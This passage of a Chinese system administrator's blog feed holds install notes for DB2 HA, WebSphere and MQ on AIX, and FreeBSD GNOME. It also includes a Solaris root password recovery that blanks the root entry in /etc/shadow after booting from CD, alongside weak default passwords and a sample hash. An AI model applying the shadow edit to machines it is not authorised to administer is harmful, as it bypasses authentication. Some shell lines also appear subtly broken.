<p>　　本HA方案采用两个服务器节点做主从互备，以下分别称为Active节点和Passive节点。这两个节点具有相同的硬件和操作系统配置。 </p>
<p>2.2.3. 网络 </p>
<p>　　对外的IP网络。假定该方案中DB2 UDB对外提供服务使用的浮动IP(Floating IP)为192.168.10.110，Active节点的物理IP为192.168.10.11，Passive节点的物理IP为192.168.10.12。 </p>
<p>　HA管理软件需要一组内部IP来管理双机间的心跳连接。心跳IP不在本文档范围内。 </p>
<p>3. 配置步骤 [...]]]></description>
			<content:encoded><![CDATA[<p>1. 摘要 </p>
<p>　　本文档介绍在SuSE Linux Enterprise Server v8.0(SLES 8)上安装配置DB2 UDB Enterprise Serverv8.2双机互备的高可靠性方案的基本步骤。该方案配合采用SLES的卷管理器(LVM)和Veritas Cluster Server v2.2(VCS 2.2)作为HA实现组件。 </p>
<p>2. 概述 </p>
<p>　本文档假定读者已经理解双机互备的HA方案的基本概念。 </p>
<p>2.1. 双机互备HA方案的基本步骤 </p>
<p>　　建立一个双机互备方案的基本步骤是：<br />
1. 确定基本参数(如IP地址、存储空间，等等。本方案的参数均为示范参数，读者需要根据实际环境替换)<br />
2. 配置共享存储(本方案不涉及共享存储方案的配置)<br />
3. 在两台节点上分别安装应用(在本方案中是DB2 UDB)<br />
4. 在一台节点上对应用作初始配置(在本方案中是在共享存储上建立DB2数据库)<br />
5. 在另一台节点上引入共享存储上的配置(在本方案中是对共享存储上的数据库做catalog操作)<br />
6. 在两台节点上分别手动测试应用<br />
7. 配置HA Cluster管理软件(在本方案中是VCS)<br />
8. 测试HA Cluster管理软件可以成功接管资源</p>
<p>2.2. 假设 </p>
<p>　　本文档假定采用以下示例环境，SLES与VCS已在节点上正确安装，SLES的共享存储已经正确连接，VCS的心跳连接已经正确配置。<br />
<span id="more-1449"></span><br />
2.2.1. 存储 </p>
<p>　　各节点上需要足够的本地磁盘空间，来安装DB2 UDB的可执行代码及实例。 </p>
<p>　　本方案需要足够的共享存储空间，来放置数据库数据。 </p>
<p>　　假定共享存储上分配给DB2数据库的卷组名为/dev/datavg1，逻辑卷名为/dev/datavg1/db2lv1(使用SLES的LVM服务)，在两个节点上的挂接点名为/home/db2data，且已正确格式化为合适的文件系统(Veritas工程师指出在SLES 8上VCS 2.2不支持ext3文件系统，建议格式化时指定ext2，在SLES 9和VCS 4.1上不存在这个问题)。注意这个挂接点要在fstab文件中配置为启动时不自动挂接。 </p>
<p>　　数据库其他表空间可以建立在共享存储的其他卷上，如果是文件系统，同样要配置为不自动挂接。本文档暂不讨论。 </p>
<p>2.2.2. 节点 </p>
<p>　　本HA方案采用两个服务器节点做主从互备，以下分别称为Active节点和Passive节点。这两个节点具有相同的硬件和操作系统配置。 </p>
<p>2.2.3. 网络 </p>
<p>　　对外的IP网络。假定该方案中DB2 UDB对外提供服务使用的浮动IP(Floating IP)为192.168.10.110，Active节点的物理IP为192.168.10.11，Passive节点的物理IP为192.168.10.12。 </p>
<p>　HA管理软件需要一组内部IP来管理双机间的心跳连接。心跳IP不在本文档范围内。 </p>
<p>3. 配置步骤 </p>
<p>3.1. DB2 UDB安装、配置步骤 </p>
<p>3.1.1. 建立用户和组 </p>
<p>　　在两台节点上分别在root下执行以下命令:<br />
　　groupadd –g 900 db2iadm1<br />
　　groupadd –g 901 db2fadm1<br />
　　groupadd –g 902 dasadm1<br />
　　useradd –g db2iadm1 –u 800 –d /home/db2inst1 –s /bin/bash db2inst1<br />
　　useradd –g db2fadm1 –u 801 –d /home/db2fenc1 –s /bin/bash db2fenc1<br />
　　useradd –g dasadm1 –u 802 –d /home/dasusr1 –s /bin/bash dasusr1<br />
　　组ID和用户ID可以根据实际情况选择，但务必保证在两台节点上相同的用户名/组名具有相同的ID。</p>
<p>3.1.2. 安装DB2 UDB产品代码<br />
　　在两台节点上分别在root用户下执行以下命令:<br />
　　cd<br />
　　./db2install –p DB2.ESE<br />
　　cd /opt/IBM/db2/V8.1/adm<br />
　　./db2licm –a /db2/license/db2ese.lic</p>
<p>　　其中，是DB2 UDB ESE安装介质所在目录。 </p>
<p>3.1.3. 建立实例 </p>
<p>　　在两台节点上分别在root用户下执行以下命令: </p>
<p>　　cd /opt/IBM/db2/V8.1/instance </p>
<p>　　./db2icrt –p 50000 –u db2fenc1 db2inst1 </p>
<p>3.1.4. 建立DAS </p>
<p>　　在两台节点上分别在root用户下执行以下命令: </p>
<p>　　cd /opt/IBM/db2/V8.1/instance </p>
<p>　　./dascrt –u dasusr1 </p>
<p>3.1.5. 建立数据库 </p>
<p>　　在Active节点上在root用户下执行以下命令:<br />
　　mount /dev/datavg1/db2lv1 /home/db2data<br />
　　su – db2inst1<br />
　　db2start<br />
　　db2 create database on /home/db2data<br />
　　db2stop<br />
　　exit<br />
　　umount /home/db2data<br />
　　其中，是数据库名。</p>
<p>3.1.6. Catalog数据库<br />
　　在Passive节点上在root用户下执行以下命令:<br />
　　mount /dev/datavg1/db2lv1 /home/db2data<br />
　　su – db2inst1<br />
　　db2start<br />
　　db2 catalog database on /home/db2data<br />
　　db2stop<br />
　　exit<br />
　　umount /home/db2data<br />
　其中，是上一步骤建立的数据库名</p>
<p>3.1.7. 检验DB2配置<br />
　　在Active节点上，在root用户下执行以下命令:<br />
　　mount /dev/datavg1/db2lv1 /home/db2data<br />
　　su – db2inst1<br />
　　db2start<br />
　　db2 connect to<br />
　　db2 create table T (ID INTEGER)<br />
　db2 connect reset<br />
　db2stop<br />
　　exit<br />
　umount /home/db2data<br />
　　检验上述命令均无出错信息。</p>
<p>　　在Passive节点上，在root用户下执行以下命令:<br />
　　mount /dev/datavg1/db2lv1 /home/db2data<br />
　　su – db2inst1<br />
　　db2start<br />
　　db2 connect to<br />
　　db2 drop table T<br />
　　db2 connect reset<br />
　　db2stop<br />
　　exit<br />
　　umount /home/db2data<br />
　　检验上述命令均无出错信息。</p>
<p>3.2. VCS配置<br />
　在VCS中，建立DB2资源组，在组中配置浮动IP、Application等资源，将Application的启动、停止等命令脚本配置为db2start、db2stop、db2admin start和db2admin stop，将Application的监视命令脚本配置为ps命令，监视db2sysc和db2dasrrm进程。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1449.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WAS7ND  FOR AIX -两套集群安装记录笔记</title>
		<link>http://www.evanjiang.net.cn/archives/1436.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1436.html#comments</comments>
		<pubDate>Sat, 23 Jan 2010 12:45:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[WebSphere]]></category>
		<category><![CDATA[ibm unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1436</guid>
		<description><![CDATA[<p>硬件平台：p759
操作系统：aix 5.3
本次要安装：WAS 7，
一、	安装前介质准备
以上三类文件分别放在两台机的/tmp/was_install目录下，子目录分别为WAS,,IHS,plugin ,然后解压。
Guzip *.gz
Tar xvf *.tar
准备安装
二、安装要求：
1、两台机，做成集群，S1QDJZYY做管理控制台，S2QDJZYY做受控节点
拓朴如下：
主机名	IP	安装软件（组件）
S1QDJZYY	xxx.xxx.xxx.xxx主	WASND ( WAS，DM) +httpserver+plugin
S2QDJZYY	xxx.xxx.xxx.xxx备	WASND( WAS) + httpserver+plugin</p>
<p>2、本机地址通过DHCP 获取从兴内部IP。
3、并请求从兴刘工协助完成ftp 文件上传到目标机上</p>
<p>4、连接方式，就是通过手提电脑连入一台WINDOWS2003，然后通过这台WINDOWS2003上的xmanager连入到目标机中。</p>
<p>5、其他要求：
管理用户名与口令设置：admin/admin(样本samples的口令也是admin，在S1QDJZYY有装samlpes，在S2QDJZYY没有装这个样本包)</p>
<p>主机首先用图形化安装，得到dmgr01,appsrv01 文件，备机也用图形化安装，得到apparv01 ,然后主机与备机都通过字符脚本形式，建多一个appsrv02 profileName。
安装目录放在 /usr/IBM目录下。</p>
<p>
三、安装前其他事项检查
1、Df 命令看空间，/install下空间足够
2、hostname主机名检查，主机名没有下划线，正常
3、系统补丁检查 uname 看操作系统与版本，正常
4、集群内的主、备两机要互相PING通，在HOSTS文件中要互相加主机IP与HOSTNAME
在每台机的HOSTS文件中增加对方的IP地址与名称，来建集群时用
此步是把备机上的server1节点加入主机的dmgr01上成功的前提
5、	群集安装时，确认所有机子的日期要一致,要同步</p>
<p>四、WAS安装过程
1、安装与节点设置
在目标机的终端格式直接操作，在aix中执行安装
注意：安装目录注意修改默认opt为指定目录/usr/</p>
<p>Was/install.sh执行，在 S1QDJZYY下选择cell单元（dmgr+application，并自动联合，）安装，在S2QDJZYY下选择application安装。</p>
<p>两机各自完成后，在S1QDJZYY下，在profiles/dmgr01/bin下执行
./startManager.sh启动服务
然后到/profiles/appsvr01/bin下执行./startNode.sh启动节点代理
然后可到/profiles/appsvr01/bin下执行./startSever.sh server1启动服务</p>
<p>在S2QDJZYY下，在profiles/appsvr01/bin下执行
./addNode.sh xxx.xxx.xxx.xxx 8879
输入用户与口令admin,admin
看节点联结完成后，再执行./startNode.sh启动节点代理。
执行./startServer.sh server1可启动服务</p>
<p>此时打开控制台 http:// xxx.xxx.xxx.xxx :9060/ibm/console，输入admin/admin后，打开环境->节点管理，可看到两个受控节点；打开application server可看到两个服务server1，并且状态是已启动状态。</p>
<p>2、集群建立
去application server下删除两个独立的SERVER1。然后到cluster中建立一个新的集群gdjzcluster。
然后在NODE1、NODE2下分别建立server1。加入集群。</p>
<p>3、去节点管理那里做下同步节点
4、启动集群，可以看到成功启动即可。</p>
<p>五、安装HTTP与PLUGINS
停止上面启动的集群，安装http server与plugins
安装http server时，注意用户与组那里设成nobody,管理用户与口令设成admin
其他步骤按提示进行。
安装目录注意修改默认opt为指定目录usr</p>
<p>安装后，可在http server/bin目录下执行./apachectl start与/adminctl start启动apach服务与管理。看logs下的admin_err.log，提示成功即可。</p>
<p>六、安装appsrv02 ，在S1QDJZYY 与S2QDJZYY用字符脚本建立appsrv02
在S1QDJZYY下：
      cd /usr/IBM/WebSphere/AppServer/bin
          [...]]]></description>
			<content:encoded><![CDATA[<p>硬件平台：p759<br />
操作系统：aix 5.3<br />
本次要安装：WAS 7，<br />
一、	安装前介质准备<br />
以上三类文件分别放在两台机的/tmp/was_install目录下，子目录分别为WAS,,IHS,plugin ,然后解压。<br />
Guzip *.gz<br />
Tar xvf *.tar<br />
准备安装<br />
二、安装要求：<br />
1、两台机，做成集群，S1QDJZYY做管理控制台，S2QDJZYY做受控节点<br />
拓朴如下：<br />
主机名	IP	安装软件（组件）<br />
S1QDJZYY	xxx.xxx.xxx.xxx主	WASND ( WAS，DM) +httpserver+plugin<br />
S2QDJZYY	xxx.xxx.xxx.xxx备	WASND( WAS) + httpserver+plugin</p>
<p>2、本机地址通过DHCP 获取从兴内部IP。<br />
3、并请求从兴刘工协助完成ftp 文件上传到目标机上</p>
<p>4、连接方式，就是通过手提电脑连入一台WINDOWS2003，然后通过这台WINDOWS2003上的xmanager连入到目标机中。</p>
<p>5、其他要求：<br />
管理用户名与口令设置：admin/admin(样本samples的口令也是admin，在S1QDJZYY有装samlpes，在S2QDJZYY没有装这个样本包)</p>
<p>主机首先用图形化安装，得到dmgr01,appsrv01 文件，备机也用图形化安装，得到apparv01 ,然后主机与备机都通过字符脚本形式，建多一个appsrv02 profileName。<br />
安装目录放在 /usr/IBM目录下。</p>
<p><span id="more-1436"></span><br />
三、安装前其他事项检查<br />
1、Df 命令看空间，/install下空间足够<br />
2、hostname主机名检查，主机名没有下划线，正常<br />
3、系统补丁检查 uname 看操作系统与版本，正常<br />
4、集群内的主、备两机要互相PING通，在HOSTS文件中要互相加主机IP与HOSTNAME<br />
在每台机的HOSTS文件中增加对方的IP地址与名称，来建集群时用<br />
此步是把备机上的server1节点加入主机的dmgr01上成功的前提<br />
5、	群集安装时，确认所有机子的日期要一致,要同步</p>
<p>四、WAS安装过程<br />
1、安装与节点设置<br />
在目标机的终端格式直接操作，在aix中执行安装<br />
注意：安装目录注意修改默认opt为指定目录/usr/</p>
<p>Was/install.sh执行，在 S1QDJZYY下选择cell单元（dmgr+application，并自动联合，）安装，在S2QDJZYY下选择application安装。</p>
<p>两机各自完成后，在S1QDJZYY下，在profiles/dmgr01/bin下执行<br />
./startManager.sh启动服务<br />
然后到/profiles/appsvr01/bin下执行./startNode.sh启动节点代理<br />
然后可到/profiles/appsvr01/bin下执行./startSever.sh server1启动服务</p>
<p>在S2QDJZYY下，在profiles/appsvr01/bin下执行<br />
./addNode.sh xxx.xxx.xxx.xxx 8879<br />
输入用户与口令admin,admin<br />
看节点联结完成后，再执行./startNode.sh启动节点代理。<br />
执行./startServer.sh server1可启动服务</p>
<p>此时打开控制台 http:// xxx.xxx.xxx.xxx :9060/ibm/console，输入admin/admin后，打开环境->节点管理，可看到两个受控节点；打开application server可看到两个服务server1，并且状态是已启动状态。</p>
<p>2、集群建立<br />
去application server下删除两个独立的SERVER1。然后到cluster中建立一个新的集群gdjzcluster。<br />
然后在NODE1、NODE2下分别建立server1。加入集群。</p>
<p>3、去节点管理那里做下同步节点<br />
4、启动集群，可以看到成功启动即可。</p>
<p>五、安装HTTP与PLUGINS<br />
停止上面启动的集群，安装http server与plugins<br />
安装http server时，注意用户与组那里设成nobody,管理用户与口令设成admin<br />
其他步骤按提示进行。<br />
安装目录注意修改默认opt为指定目录usr</p>
<p>安装后，可在http server/bin目录下执行./apachectl start与/adminctl start启动apach服务与管理。看logs下的admin_err.log，提示成功即可。</p>
<p>六、安装appsrv02 ，在S1QDJZYY 与S2QDJZYY用字符脚本建立appsrv02<br />
在S1QDJZYY下：<br />
      cd /usr/IBM/WebSphere/AppServer/bin<br />
                ./manageprofiles.sh -create -profileName AppSrv02<br />
                -profilePath /usr/IBM/WebSphere/AppServer/profiles/AppSrv02<br />
                -templatePath /usr/IBM/WebSphere/AppServer/profileTemplates/default<br />
                -hostName S1QDJZYY -enableAdminSecurity true<br />
                -adminUserName admin -adminPassword admin -samplesPassword admin<br />
在S2QDJZYY下：<br />
 cd /usr/IBM/WebSphere/AppServer/bin<br />
                ./manageprofiles.sh -create -profileName AppSrv02<br />
                -profilePath /usr/IBM/WebSphere/AppServer/profiles/AppSrv02<br />
                -templatePath /usr/IBM/WebSphere/AppServer/profileTemplates/default<br />
                -hostName S2QDJZYY -enableAdminSecurity true<br />
                -adminUserName admin -adminPassword admin -samplesPassword admin</p>
<p>七、将appsrv02 加入dmg01。<br />
在S1QDJZYY下：<br />
cd /usr/IBM/WebSphere/AppServer/appsrv02/bin<br />
./addNode.sh localhost 8879<br />
输入 admin admin<br />
在S2QDJZYY下：<br />
cd /usr/IBM/WebSphere/AppServer/appsrv02/bin<br />
./addNode.sh xxx.xxx.xxx.xxx 8879<br />
输入admin admin </p>
<p>八、现在在后台应该可以看到新增加两个节点。然后针对这两个节点做应用一机的server2 与应用二机的server2的集群 .应用一机的server3与应用二机的server3的的集群，建立的过程与建立server1的集群的步骤一样。这里就不详述。</p>
<p>完成！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1436.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mq6 for aix 安装并打补丁 安装记录</title>
		<link>http://www.evanjiang.net.cn/archives/1430.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1430.html#comments</comments>
		<pubDate>Fri, 15 Jan 2010 14:06:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[WebSphere]]></category>
		<category><![CDATA[ibm unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1430</guid>
		<description><![CDATA[<p>一、	创建用户名与组：
创建用户组：
#smitty mkgroup
* Group NAME                               [mqm]
  ADMINISTRATIVE group?                  [...]]]></description>
			<content:encoded><![CDATA[<p>一、	创建用户名与组：<br />
创建用户组：<br />
#smitty mkgroup<br />
* Group NAME                               [mqm]<br />
  ADMINISTRATIVE group?                     true                                 +<br />
  Group ID                                 [205]                                 #<br />
  USER list                                []                                    +<br />
  ADMINISTRATOR list                       []                                    +<br />
  Projects                                 []                                    +<br />
创建用户名<br />
#smitty mkuser<br />
* User NAME                                [mqm]<br />
  User ID                                  [245]                                 #<br />
  ADMINISTRATIVE USER?                      false                                +<br />
  Primary GROUP                            [mqm]                                 +<br />
  Group SET                                [mqm,staff]                           +<br />
  ADMINISTRATIVE GROUPS                    []                                    +<br />
  ROLES                                    []                                    +<br />
  Another user can SU TO USER?              true                                 +<br />
  SU GROUPS                                [ALL]                                 +<br />
  HOME directory                           [/var/mqm]<br />
  Initial PROGRAM                          [/usr/bin/ksh]<br />
  User INFORMATION                         []<br />
  EXPIRATION date (MMDDhhmmyy)             [0]<br />
二、给mqm用户设置密码：<br />
    a.用root用户登陆<br />
b.passwd mqm.<br />
三、用mqm用户进入，进入第一次，系统会提示重新修改密码：再次修改密码.<br />
Mqm用户最终修改过的密码为：mqm123456<br />
四、用root进入,进入mq的安装文件存放路径：<br />
#cd /usr/mqm_install/mq6<br />
# smitty install_latest ,按下面载屏来修改<br />
<span id="more-1430"></span></p>
<p>这里ACCEPT new license agreements?一定要设置成yes ,用tab来切换。切换后，按F4 键，再按回车。选yes ,再按回车，再按回车</p>
<p>之后，就进入正常安装流程。屏幕字符会一路向下翻滚。显示安装成功的组件信息，大概貌过了一分钟，安装完成，然后按padn键，按到最后，见到botton字符，然后按F10退出smitty安装界面。<br />
五、安装成功会在/usr/mqm目录下面有如下目录与文件，安装不成功只会有licenses文件。</p>
<p>六、安装完成后的测试<br />
验证安装<br />
    1、mqm用户登录<br />
       创建队列venus.queue.manager<br />
       crtmqm -q venus.queue.manager<br />
       启动队列管理器<br />
　　　 strmqm<br />
       启用MQSC命令<br />
       runmqsc<br />
       进入环境后，定义名为ORANGE.QUEUE的本地队列<br />
       define qlocal (orange.queue)<br />
       end  (停止MQSC)</p>
<p>　　　　现在，已定义下列各项：名为venus.queue.manager的缺省队列管理器，名为ORANGE.QUEUE的队列</p>
<p>        转到/opt/mqm/samp/bin目录下，使用amqsput样本程序来将消息放入队列，以且使用amqsget样本程序来从队列取回消息<br />
        dspmq  命令可显示MQM队列状态<br />
        ./amqsput ORANGE.QUEUE<br />
        输入一行文字     for example &#8221; TEST IS&#8221;，然后以空行结束，退出<br />
　　　　./amqsget ORANGE.QUEUE<br />
        可显示刚才放入队列的消息，成功提示即证明完成。</p>
<p>七、mq补丁的安装:<br />
安装时，一定要先停掉上面为了测试安装而启动的队列管理器与队列，否则下面打补丁会不成功。会报错。<br />
#cd /usr/mqm_install/mq6pack<br />
#smitty update_all<br />
按下面的截屏来输入相关设置参数</p>
<p>这里ACCEPT new license agreements?一定要设置成yes ,用tab来切换。切换后，按F4 键，再按回车。选yes ,再按回车，再按回车</p>
<p>之后，就进入正常安装流程。屏幕字符会一路向下翻滚。显示安装成功的组件信息，大概过了一分钟，安装完成，然后按padn键，按到最后，见到botton字符，然后按F10退出smitty安装界面。</p>
<p>八、查看mq补丁升级后的版本：<br />
#/usr/mqm/bin/dspmqver<br />
如下截图所示</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1430.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD 8.0 releases Gnome2 简体中文安装全攻略(网上转摘）</title>
		<link>http://www.evanjiang.net.cn/archives/1413.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1413.html#comments</comments>
		<pubDate>Fri, 01 Jan 2010 01:52:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1413</guid>
		<description><![CDATA[<p>一、Mini+sys内核源码安装FreeBSD 8.0 releases后，
安装三个主要的基础包，为什么用包不编译，是因为编译时间太长
CODE:
setenv PACKAGEROOT ftp://ftp.freebsdchina.org
pkg_add -r xorg
pkg_add -r gnome2
rehash</p>
<p>上面三个要事觉得慢，可以在三个终端中同步进行。</p>
<p>二、中文环境安装设置</p>
<p>1.安装字体
CODE:
cd /usr/local/lib/X11/fonts/TTF
fetch http://雅黑字体存放路径/msyh.ttf
mkfontdir
mkfontscale
fc-cache  -fv</p>
<p>2.设置csh为中文环境
CODE:
echo &#8220;setenv PACKAGEROOT ftp://ftp.freebsdchina.org&#8221; ~/.cshrc
echo &#8220;setenv LANG zh_CN.UTF-8&#8243; ~/.cshrc
echo &#8220;setenv LC_CTYPE zh_CN.UTF-8&#8243; ~/.cshrc
echo &#8220;setenv LC_ALL zh_CN.UTF-8&#8243; ~/.cshrc
echo &#8220;setenv XMODIFIERS @im=fcitx&#8221; ~/.cshrc

3.设置
CODE:
echo &#8220;/usr/local/bin/gnome-session&#8221; > ~/.xinitrc
echo &#8220;exec fcitx &#038;&#8221; ~/.xinitrc</p>
<p>三、显卡驱动安装</p>
<p>FreeBSD nVidia官方没有提供驱动，只能用ports中的
不过俺看好像也是通过日本的nVidia站点中下载的&#8230;
这个俺还没弄懂为什么，不过俺也不需要懂，能用就成。</p>
<p>1.安装cvsup和更新ports
CODE:
pkg_add -r cvsup
sed &#8216;s:*default host=CHANGE_THIS.FreeBSD.org:*default host=cvsup.freebsdchina.org:&#8217; /usr/share/examples/cvsup/ports-supfile > /usr/ports-supfile
cvsup -g L 2 /usr/ports-supfile</p>
<p>2.通过ports安装nVida显卡驱动
此部分仅FreeBSD 8.0 releases版本安装nVidia驱动有效，未在其它环境测试。
编译nVida显卡驱动需要linux_base-f10，安装linux_base-f10必须先要让系统装载一次linux模块&#8230;.
CODE:
echo [...]]]></description>
			<content:encoded><![CDATA[<p>一、Mini+sys内核源码安装FreeBSD 8.0 releases后，<br />
安装三个主要的基础包，为什么用包不编译，是因为编译时间太长<br />
CODE:<br />
setenv PACKAGEROOT ftp://ftp.freebsdchina.org<br />
pkg_add -r xorg<br />
pkg_add -r gnome2<br />
rehash</p>
<p>上面三个要事觉得慢，可以在三个终端中同步进行。</p>
<p>二、中文环境安装设置</p>
<p>1.安装字体<br />
CODE:<br />
cd /usr/local/lib/X11/fonts/TTF<br />
fetch http://雅黑字体存放路径/msyh.ttf<br />
mkfontdir<br />
mkfontscale<br />
fc-cache  -fv</p>
<p>2.设置csh为中文环境<br />
CODE:<br />
echo &#8220;setenv PACKAGEROOT ftp://ftp.freebsdchina.org&#8221; ~/.cshrc<br />
echo &#8220;setenv LANG zh_CN.UTF-8&#8243; ~/.cshrc<br />
echo &#8220;setenv LC_CTYPE zh_CN.UTF-8&#8243; ~/.cshrc<br />
echo &#8220;setenv LC_ALL zh_CN.UTF-8&#8243; ~/.cshrc<br />
echo &#8220;setenv XMODIFIERS @im=fcitx&#8221; ~/.cshrc<br />
<span id="more-1413"></span><br />
3.设置<br />
CODE:<br />
echo &#8220;/usr/local/bin/gnome-session&#8221; > ~/.xinitrc<br />
echo &#8220;exec fcitx &#038;&#8221; ~/.xinitrc</p>
<p>三、显卡驱动安装</p>
<p>FreeBSD nVidia官方没有提供驱动，只能用ports中的<br />
不过俺看好像也是通过日本的nVidia站点中下载的&#8230;<br />
这个俺还没弄懂为什么，不过俺也不需要懂，能用就成。</p>
<p>1.安装cvsup和更新ports<br />
CODE:<br />
pkg_add -r cvsup<br />
sed &#8216;s:*default host=CHANGE_THIS.FreeBSD.org:*default host=cvsup.freebsdchina.org:&#8217; /usr/share/examples/cvsup/ports-supfile > /usr/ports-supfile<br />
cvsup -g L 2 /usr/ports-supfile</p>
<p>2.通过ports安装nVida显卡驱动<br />
此部分仅FreeBSD 8.0 releases版本安装nVidia驱动有效，未在其它环境测试。<br />
编译nVida显卡驱动需要linux_base-f10，安装linux_base-f10必须先要让系统装载一次linux模块&#8230;.<br />
CODE:<br />
echo &#8220;linux_enable=&#8221;YES&#8221;" >> /etc/rc.conf<br />
kldload linux<br />
pkg_add -r linux_base-f10</p>
<p>nVidia驱动按照自己的显卡型号，选择适应的驱动。驱动在/usr/ports/x11<br />
CODE:<br />
nvidia-driver-173/<br />
nvidia-driver-71/<br />
nvidia-driver-96/<br />
nvidia-driver/</p>
<p>俺是最新的9600GT所以直接选择了nvidia-driver<br />
CODE:<br />
cd /usr/ports/x11/nvidia-driver<br />
make install clean<br />
kldload nvidia</p>
<p>3.让FreeBSD在启动是装载nvidia驱动。<br />
CODE:<br />
echo &#8220;nvidia_load=&#8221;YES&#8221;" >> /boot/loader.conf</p>
<p>四、xorg.conf的配置和Gnome2的启动。<br />
有人说可以不要，但是我觉得我在里面的改动完全都在Gnome2中体现出来。<br />
Xorg -configure<br />
如果是ps/2鼠标<br />
CODE:<br />
cp ~/xorg.conf.new /etc/X11/xorg.conf<br />
echo &#8220;hald_enable=&#8221;YES&#8221;" >> /etc/rc.conf<br />
echo &#8220;dbus_enable=&#8221;YES&#8221;" >> /etc/rc.conf</p>
<p>如果是usb鼠标<br />
CODE:<br />
sed &#8216;s:/dev/sysmouse:/dev/usm0:&#8217; ~/xorg.conf.new > /etc/X11/xorg.conf<br />
echo &#8220;moused_type=&#8221;NO&#8221;" >> /etc/rc.conf<br />
echo &#8220;moused_enable=&#8221;NO&#8221;" >> /etc/rc.conf</p>
<p>startx<br />
如果nvidia进入Gnome2没有加载nvidia的驱动，就编辑/etc/X11/xorg.conf<br />
把<br />
CODE:<br />
Driver          &#8220;nv&#8221;</p>
<p>改为<br />
CODE:<br />
Driver          &#8220;nvidia&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1413.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Solaris root 密码恢复笔记</title>
		<link>http://www.evanjiang.net.cn/archives/1383.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1383.html#comments</comments>
		<pubDate>Mon, 07 Dec 2009 13:27:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[sun unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/archives/1383.html</guid>
		<description><![CDATA[<p>Solaris root密码恢复</p>
<p>前提条件：cd-rom中要放入Solaris引导盘.
• 到 OK 提示符下
1．通过按 Stop +A .
2．SC上请输入break -> console -f  也可以进入。</p>
<p>• 在OK 提示符下输入以下命令
#ok boot cdrom -s
• 挂启动盘到 /mnt
可以通过df 命令查看,如果是看到d0这种盘符,用/usr/sbin/metastat d0可以找到对应的磁盘名称，如果系统无法登陆的话，可以自己手工将/dev/dsk/c?t?d?s?一个个的试mount，这要看人品了。如果是做了镜像的md盘两个盘都要mount上修改shadow文件.</p>
<p>$ df -k /
Filesystem            kbytes    used   avail capacity  Mounted on
/dev/md/dsk/d0       20655025 [...]]]></description>
			<content:encoded><![CDATA[<p>Solaris root密码恢复</p>
<p>前提条件：cd-rom中要放入Solaris引导盘.<br />
• 到 OK 提示符下<br />
1．通过按 Stop +A .<br />
2．SC上请输入break -> console -f  也可以进入。</p>
<p>• 在OK 提示符下输入以下命令<br />
#ok boot cdrom -s<br />
• 挂启动盘到 /mnt<br />
可以通过df 命令查看,如果是看到d0这种盘符,用/usr/sbin/metastat d0可以找到对应的磁盘名称，如果系统无法登陆的话，可以自己手工将/dev/dsk/c?t?d?s?一个个的试mount，这要看人品了。如果是做了镜像的md盘两个盘都要mount上修改shadow文件.</p>
<p>$ df -k /<br />
Filesystem            kbytes    used   avail capacity  Mounted on<br />
/dev/md/dsk/d0       20655025 8564261 11884214    42%    /<br />
$ /usr/sbin/metastat d0<br />
d0: Mirror<br />
    Submirror 0: d10<br />
      State: Okay<br />
    Submirror 1: d20<br />
      State: Okay<br />
    Pass: 1<br />
    Read option: roundrobin (default)<br />
    Write option: parallel (default)<br />
    Size: 41945472 blocks (20 GB)<br />
<span id="more-1383"></span><br />
d10: Submirror of d0<br />
    State: Okay<br />
    Size: 41945472 blocks (20 GB)<br />
    Stripe 0:<br />
        Device     Start Block  Dbase        State Reloc Hot Spare<br />
        c0t0d0s0          0     No            Okay   Yes </p>
<p>d20: Submirror of d0<br />
    State: Okay<br />
    Size: 41945472 blocks (20 GB)<br />
    Stripe 0:<br />
        Device     Start Block  Dbase        State Reloc Hot Spare<br />
        c0t1d0s0          0     No            Okay   Yes </p>
<p>Device Relocation Information:<br />
Device   Reloc  Device ID<br />
c0t0d0   Yes    id1,sd@SFUJITSU_MAW3147NCSUN146G000749C0CPN1____DAC0P7C0CPN1<br />
c0t1d0   Yes    id1,sd@SFUJITSU_MAW3147NCSUN146G000749C0CP9E____DAC0P7C0CP9E<br />
$<br />
#mount /dev/dsk/c0t0d0s0 /mnt<br />
• 删除root口令信息,编辑/mnt/etc/shadow文件中的root行第二列,<br />
如下所示:<br />
root:IZg8892D8K3eI:14554::::::<br />
# vi /mnt/etc/shadow<br />
• unmount  下 /mnt 再将第二块盘mount来修改shadow<br />
#umount /mnt<br />
• 重启主机进入多用户状态<br />
#reboot<br />
• 重启输入root直接回车就可以进系统了,密码是空的,然后重置root密码:<br />
#passwd</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1383.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>老生常谈  SCO 安装 Informix</title>
		<link>http://www.evanjiang.net.cn/archives/1381.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1381.html#comments</comments>
		<pubDate>Mon, 07 Dec 2009 01:22:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[informix]]></category>
		<category><![CDATA[sco unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1381</guid>
		<description><![CDATA[<p>informix for sco 系统安装
1.  建立informix 用户组及用户。 </p>
<p>    1.
